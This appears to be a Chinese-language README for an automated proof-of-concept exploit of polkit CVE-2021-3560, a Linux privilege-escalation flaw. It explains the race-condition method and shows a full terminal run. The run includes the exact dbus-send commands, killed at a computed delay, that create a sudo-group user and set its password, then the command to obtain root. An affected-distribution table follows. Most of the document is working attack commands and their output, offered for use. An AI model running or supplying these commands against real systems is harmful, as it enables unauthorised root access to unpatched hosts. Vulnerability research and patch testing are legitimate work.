Polkit CVE-2021-3560 的自动利用 PoC
CVE-2021-3560 是 polkit 的一个认证绕过漏洞,允许非特权用户通过 DBus 调用特权方法。在此利用中,我们将调用 accountsservice 提供的两个特权方法(CreateUser 和 SetPassword),从而创建一个特权用户,然后为其设置密码,最后以创建的用户身份登录并提权到 root。 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)
[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs
任何安装了 polkit 0.113 或更高版本的系统都存在漏洞。受影响的流行发行版包括 polkit 版本 0.115 的 RHEL 8 以及 polkit 版本 0-105-26(Debian 分支)的 Ubuntu 20.04。
MIT License
| 发行版 | 受影响? |
|---|---|
| RHEL 7 | 否 |
| RHEL 8 | 是 |
| Fedora 20(或更早) | 否 |
| Fedora 21(或更新) | 是 |
| Debian 10 ("buster") | 否 |
| Debian testing ("bullseye") | 是 |
| Ubuntu 18.04 | 否 |
| Ubuntu 20.04 | 是 |